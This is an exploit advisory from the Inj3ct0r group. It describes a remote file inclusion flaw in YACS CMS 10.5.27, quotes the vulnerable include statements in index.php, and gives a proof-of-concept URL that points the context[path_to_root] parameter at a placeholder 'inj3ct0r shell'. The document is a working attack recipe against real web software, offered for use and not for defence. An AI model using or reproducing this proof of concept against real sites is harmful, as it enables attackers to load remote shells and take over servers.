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YACK CMS 10.5.27 Remote File Inclusion Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'`\ /\ \ /'`\ 0
0 /\, \ ___ /\\/\\ \ \ \ \ ,\/\ \/\ \ _ ___ 1
1 \//\ \ /' _ `\ \/\ \//\< /'\ \ \/\ \ \ \ \/\`'\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \/\ \ \\ \ \\ \ \ \/ 1
1 \ \\ \\ \\\ \ \ \/\ \\\ \\\ \/\ \\ 0
0 \//\//\//\ \\ \// \// \// \// \// 1
1 \ \/ >> Exploit database separated by exploit 0
0 \// type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ######################################## 1
0 I'm eidelweiss member from Inj3ct0r Team 1
1 ######################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Vendor: http://www.yacs.fr
download: http://www.yacs.fr/file-fetch/1238-20100527-yacs-10-5-27.tgz
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com

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-=[ vuln c0de ]=-

[!] index.php

// load global definitions
if($home = getenv('YACS_HOME'))
include_once str_replace('//', '/', $home.'/').'shared/global.php'; // <= 0
elseif(is_readable('yacs.home') && is_callable('file_get_contents') && ($content =
trim(file_get_contents('yacs.home'), " \t\n\r\0\x0B\\/.")) && is_readable($content.'/shared/global.php'))
include_once $content.'/shared/global.php'; // <= 1
elseif(is_readable('shared/global.php'))
include_once 'shared/global.php';
elseif(is_readable('yacs/shared/global.php'))
include_once 'yacs/shared/global.php';
else
exit('The file shared/global.php has not been found. Please reinstall or mention home directory in file
yacs.home or configure the YACS_HOME environment variable.');

// load libraries used in this script
include_once $context['path_to_root'].'feeds/feeds.php'; // some links to newsfeeds
include_once $context['path_to_root'].'links/links.php'; // <= 2 (i dont give fuck)

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-=[ P0C ]=-

http://127.0.0.1/path/index.php?context[path_to_root]= [inj3ct0r shell]

etc , etc , etc

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